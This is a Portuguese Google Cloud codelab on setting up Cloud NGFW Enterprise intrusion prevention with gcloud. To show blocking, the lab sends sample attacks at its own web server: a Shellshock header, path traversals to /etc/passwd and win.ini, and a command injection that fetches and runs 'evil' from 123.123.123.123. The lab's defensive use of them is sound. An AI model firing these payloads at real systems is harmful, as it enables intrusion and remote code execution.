Cloud NGFW Enterprise - Serviço de prevenção de invasões (sem inspeção TLS)

1. Introdução

Cloud Next Generation Firewall (NGFW)

O Cloud Next Generation Firewall é um serviço de firewall totalmente distribuído com recursos avançados de proteção, microssegmentação e cobertura abrangente para proteger suas cargas de trabalho do Google Cloud contra ataques internos e externos.

O Cloud NGFW tem os seguintes benefícios:

  • Serviço de firewall distribuído: o Cloud NGFW oferece uma aplicação com base em host totalmente distribuída com estado em cada carga de trabalho para ativar a arquitetura de segurança de confiança zero.
  • Configuração e implantação simplificadas: o Cloud NGFW implementa políticas de firewall de rede e hierárquicas que podem ser anexadas a um nó de hierarquia de recursos. Essas políticas fornecem uma experiência de firewall consistente em toda a hierarquia de recursos do Google Cloud.
  • Controle granular e microssegmentação: a combinação de políticas de firewall e tags gerenciadas pelo Identity and Access Management (IAM) oferece controle preciso para o tráfego norte-sul e leste-oeste até uma única VM em redes e organizações de nuvem privada virtual (VPC).

O Cloud NGFW está disponível nos seguintes níveis:

Cloud NGFW Empresarial

O Cloud NGFW Enterprise adiciona o Serviço de prevenção contra intrusões (IPS), um recurso da camada 7, à estrutura distribuída do firewall do Google Cloud. A inspeção TLS é compatível para permitir a inspeção do tráfego criptografado com TLS, mas está fora do escopo deste codelab. Consulte Codelab do Cloud NGFW Enterprise com inspeção TLS.

Agora é possível implantar inspeções confiáveis de firewall de próxima geração (NGFW) da camada 7 com controles granulares sem fazer mudanças na arquitetura de rede ou nas configurações de roteamento.

Para ativar e implantar o controle de firewall da camada 7 com IPS, faça o seguinte:

  • Crie um conjunto de endpoints de firewall zonais gerenciados do Google Cloud.
  • Crie uma política de inspeção de TLS (opcional, não abordada neste codelab)
  • Crie uma configuração de confiança (opcional, não abordada neste codelab).
  • Associe esses endpoints às redes de nuvem privada virtual (VPC) em que você precisa do serviço Cloud NGFW Enterprise.
  • Faça mudanças simples nas políticas e regras de firewall atuais para especificar os perfis de prevenção de ameaças nos vários caminhos de tráfego.

Políticas de firewall de rede

A política de firewall de rede atua como um contêiner para regras de firewall. As regras definidas em uma política de firewall de rede não são aplicadas em nenhum lugar até que a política seja associada a uma rede VPC. Cada rede VPC pode ter uma política de firewall de rede associada a ela. As políticas de firewall de rede são compatíveis com tags controladas pelo IAM (ou apenas tags) nas regras de firewall, que substituem as tags de rede atuais e podem ser usadas para fornecer identidade à carga de trabalho.

O compartilhamento de uma política de firewall de rede entre redes e a integração com tags gerenciadas pelo IAM simplificam muito a configuração e o gerenciamento de firewalls.

Com a introdução da política de firewall de rede, as políticas de firewall do Google Cloud agora consistem nos seguintes componentes:

  1. Política de firewall hierárquica
  2. Regras de firewall da VPC
  3. Política de firewall de rede ( global e regional)

As políticas de firewall hierárquicas são compatíveis com os nós da organização e da pasta na hierarquia de recursos, enquanto as regras de firewall da VPC e as políticas de firewall de rede são aplicadas no nível da VPC. Uma grande diferença entre as regras de firewall da VPC e as políticas de firewall de rede é que as regras de firewall da VPC só podem ser aplicadas a uma única rede VPC, enquanto as políticas de firewall de rede podem ser anexadas a uma única VPC ou grupo de VPCs, entre outros benefícios, como atualizações em lote.

Por fim, também temos as regras de firewall implícitas que vêm com todas as redes VPC:

  • Uma regra de saída cuja ação é permitir e o destino é 0.0.0.0/0
  • Uma regra de entrada com a ação negar e a origem 0.0.0.0/0

Por padrão, a sequência de aplicação é mostrada no diagrama a seguir:

21b3bcabc469ffe.png

A ordem de aplicação entre as regras de firewall da VPC e a política de firewall de rede global pode ser trocada. Os clientes podem especificar a ordem de aplicação a qualquer momento com um comando gcloud.

Tags gerenciadas pelo IAM

As novas tags integradas às regras da política de firewall de rede são recursos de par de chave-valor definidos no nível da organização ou do projeto da hierarquia de recursos do Google Cloud. Como o nome sugere, essa tag contém um controle de acesso do IAM que especifica quem pode fazer o quê na tag. Com as permissões do IAM, por exemplo, é possível especificar quais principais podem atribuir valores a tags e quais principais podem anexar tags a recursos. Depois que uma tag é aplicada a um recurso, as regras de firewall de rede podem usá-la para permitir e negar o tráfego.

As tags seguem o modelo de recursos de herança do Google Cloud, o que significa que as tags e os respectivos valores são transmitidos para baixo na hierarquia dos pais. Como resultado, as tags podem ser criadas em um local e usadas por outras pastas e projetos em toda a hierarquia de recursos. Acesse esta página para mais detalhes sobre tags e restrição de acesso.

Não confunda tags com tags de rede. As últimas são strings que podem ser adicionadas às instâncias do Compute Engine. Elas são associadas à instância e desaparecem quando ela é desativada. As regras de firewall da VPC podem incluir tags de rede, mas, como não são consideradas recursos de nuvem, elas não estão sujeitas ao controle de acesso do IAM.

Neste documento, os termos "tags" e "tags gerenciadas pelo IAM" são usados de forma intercambiável.

O que você vai criar

Este codelab exige um único projeto e a capacidade de criar uma rede VPC com conectividade pública. Ele demonstra como o Cloud NGFW Enterprise pode oferecer funcionalidade de IPS:

  • Inspeção de fluxos intra-VPC/sub-rede [leste-oeste]
  • Como inspecionar fluxos de entrada da Internet [norte-sul]

Os fluxos a serem inspecionados serão selecionados usando parâmetros de correspondência do Cloud Firewall, incluindo cinco tuplas (IP de origem, IP de destino, protocolo, porta de origem, porta de destino) e tags. A inspeção TLS não está incluída neste codelab.

52a0642ef8668ecf.png

A base de regras da política de firewall de rede será semelhante à tabela abaixo:

Prioridade

Direção

Destino

Origem

Destino

Ação

Tipo

100

Saída

Quarantine_Tag

Qualquer

Tudo

Negar

Essentials

1000

Entrada

Server_Tag

Intervalos de verificação de integridade

Qualquer

Permitir

Essentials

2000

Entrada

Qualquer

Intervalos do Identity-Aware Proxy

Qualquer

Permitir

Essentials

3000

Entrada

Qualquer

Geografia, GCTI

Qualquer

Negar

Padrão

4000

Saída

Qualquer

Qualquer

Geografia, GCTI

Negar

Padrão

5000

Saída

Qualquer

Qualquer

FQDNs de atualização do sistema

Permitir

Padrão

6000

Entrada

Server_Tag

10.0.0.0/24

Qualquer

IPS

Enterprise

7.000

Entrada

Server_Tag

CloudNAT_IP

Qualquer

IPS

Enterprise

O que você vai aprender

O que é necessário

  • Projeto do Google Cloud
  • Conhecimento sobre como implantar instâncias e configurar componentes de rede
  • Conhecimento sobre a configuração de firewall da VPC

2. Antes de começar

Criar/atualizar variáveis

Este codelab usa $variáveis para ajudar na implementação da configuração da gcloud no Cloud Shell.

No Cloud Shell, execute os comandos abaixo, substituindo as informações entre colchetes conforme necessário. Pule a definição do projeto se o desejado já estiver definido. Uma variável diferente é usada para recursos no nível da organização se forem necessários vários endpoints de firewall, por exemplo.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Ativar APIs

Ative as APIs, se ainda não tiver feito isso:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Criação de perfil de segurança e endpoint do Cloud NGFW Enterprise

Como a criação do endpoint empresarial do Cloud NGFW leva cerca de 20 minutos, ele será criado primeiro, e a configuração básica poderá ser feita em paralelo enquanto o endpoint é criado.

Crie o perfil e o grupo de perfis de segurança:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Saída esperada:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Confirme se os recursos foram criados:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Saída esperada:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Crie o endpoint do Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Execute o comando abaixo para confirmar se o endpoint está sendo criado (STATE: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Saída esperada (o formato pode variar de acordo com o cliente usado):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Se quiser, execute o comando abaixo para mais detalhes:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Saída esperada:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

O processo de criação do endpoint leva cerca de 20 minutos. Acesse a seção "Configuração básica" para criar os recursos necessários em paralelo.

5. Configuração básica

Acesse as seções a seguir se preferir criar manualmente os recursos básicos.

Rede VPC e sub-rede

Rede VPC e sub-rede

Crie a rede e a sub-rede VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crie os Cloud Routers e os gateways do Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instâncias

Crie as instâncias de cliente e servidor da Web:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Tags no nível do projeto

Atribua as permissões tagAdmin e/ou tagUser ao usuário, se necessário:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Crie a chave e os valores de tag no nível do projeto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Vincular tags a instâncias:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Política global de firewall de rede

Criar uma política de firewall de rede global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Crie regras essenciais do Cloud Firewall para negar o tráfego de instâncias em quarentena (criadas apenas como exemplo, não usadas neste codelab) e permitir o tráfego dos intervalos health-check e proxy com reconhecimento de identidade:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Crie regras padrão do Cloud Firewall para negar o tráfego de entrada e saída de/para países embargados, IPs maliciosos conhecidos e nós de saída do ToR. Permita apenas o tráfego de saída para FQDNs específicos para atualizações do sistema (criado apenas como exemplo, não usado neste codelab):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Crie regras do Cloud Firewall para permitir o tráfego de entrada leste-oeste / intrassub-rede e norte-sul / Internet dos intervalos específicos. Essas regras serão atualizadas para ativar o Cloud NGFW Enterprise:

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associe a política de firewall de rede à rede VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Balanceador de carga de rede TCP/UDP externo

Reserve um endereço IP externo e crie o grupo de instâncias e a verificação de integridade:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Crie o serviço de back-end e a regra de encaminhamento:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Associação de endpoint do Cloud NGFW Enterprise

Redefina as variáveis de ambiente, se necessário.

Confirme se a criação do endpoint do Cloud Firewall foi concluída com sucesso. Só prossiga quando o estado for ACTIVE. Durante a criação, o estado esperado é CREATING:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Saída esperada (o formato pode variar de acordo com o cliente usado):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Se quiser, execute o comando abaixo para mais detalhes:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Saída esperada:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Associe o endpoint do Cloud NGFW Enterprise à rede VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

O processo de associação leva cerca de 10 minutos. Só prossiga quando o estado for mostrado como ATIVO. O estado esperado é CRIANDO durante o processo de criação:

gcloud network-security firewall-endpoint-associations list

Saída esperada:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Se quiser, execute o comando abaixo para mais detalhes:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Saída esperada:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Regras de inspeção do Cloud NGFW Enterprise

Abra uma nova guia e inicie uma conexão SSH com a VM do cliente usando o IAP. Defina as variáveis novamente na nova guia:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Defina as variáveis necessárias na sessão SSH e defina as variáveis (verifique se os valores estão corretos):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

Faça curl nos dois IPs para confirmar que eles estão acessíveis:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Resultado esperado para as duas solicitações curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Envie ataques de amostra para o IP do servidor interno (tráfego leste-oeste / intra-VPC). O servidor da Web precisa responder a todas as solicitações, confirmando que não há inspeção/prevenção da camada 7 em vigor:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Reenvie os ataques de amostra para o IP do servidor externo pelo Cloud NAT (tráfego de entrada norte-sul). Da mesma forma, o servidor da Web precisa responder a todas as solicitações:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Resultados esperados para IPs públicos e privados:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Volte para o Cloud Shell e atualize as regras de entrada atuais para ativar a inspeção L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Opcionalmente, descreva as regras de firewall para verificar se ambas foram atualizadas com sucesso:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Saída esperada:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Regra 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Saída esperada:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Volte para a VM cliente e reenvie os ataques de amostra para o IP do servidor interno (inspeção leste-oeste / intra-VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Reenvie os ataques de amostra para o IP do servidor externo pelo Cloud NAT (inspeção de entrada norte-sul):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Nenhuma resposta é recebida para os primeiros ataques, conforme a saída esperada abaixo, confirmando que os ataques de alta gravidade agora estão sendo bloqueados.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Acesse "Segurança de rede > Ameaças" no console do Cloud para verificar os registros. Talvez seja necessário atualizar algumas vezes se os ataques ainda não aparecerem.

daa535fcc34873aa.png

Escolha um dos ataques e clique em "Ver registro de auditoria" no lado direito. Abra em uma nova guia para alternar com facilidade. Expanda o ataque para mostrar os detalhes:

5f97cdef79e42eff.png

Se quiser, substitua o filtro do Explorador de registros pela consulta abaixo:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

As entradas de registro de ameaças devem ser vistas conforme abaixo:

5ea9581a7eb694c5.png

É possível verificar os pacotes interceptados pelo Cloud Firewall usando o filtro do Log Explorer abaixo (útil para fins de solução de problemas):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Continue com a inspeção do tráfego da Internet (opcional) ou feche a sessão SSH e avance para o próximo capítulo com as etapas de limpeza.

[Opcional] Inspeção de tráfego da Internet

Conforme verificado na seção anterior, os fluxos inspecionados até agora são intra-sub-rede/VPC (leste-oeste) e tráfego de entrada da Internet (norte-sul de entrada). O Cloud NGFW Enterprise também pode ser configurado para inspecionar todo o tráfego da Internet (saída norte-sul) criando uma nova regra de saída usando o Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Volte para a VM do cliente e reenvie ataques de alta gravidade para o IP do servidor externo:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Saída esperada:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Mude para a guia "Ameaças" no console do Cloud para verificar os registros. Talvez seja necessário atualizar algumas vezes. Os ataques deveriam ter sido identificados e registrados novamente, mas agora o IP de origem é interno porque uma regra de saída está sendo acionada primeiro:

36f8edf264dcddcd.png

Feche a sessão SSH e avance para a próxima seção com as etapas de limpeza.

8. Etapas de limpeza

Limpeza de componentes do Cloud NGFW para empresas

Liste as associações do Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

Exclua a associação do Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Liste os endpoints do Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Exclua o endpoint do Cloud NGFW Enterprise, o que pode levar cerca de 20 minutos:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Confirme se o Cloud NGFW Enterprise foi excluído executando o comando abaixo:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Exclua o grupo de perfis de segurança e o perfil de prevenção de ameaças:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Limpeza da configuração básica

Siga para a próxima etapa se preferir excluir os recursos básicos.

Defina as variáveis de ambiente, se necessário. No Cloud Shell, exclua os componentes do balanceador de carga de rede:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Remova instâncias:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Opcionalmente, siga as etapas abaixo se as funções tagAdmin e tagUsers tiverem sido alteradas:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Remover chave e valores de tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

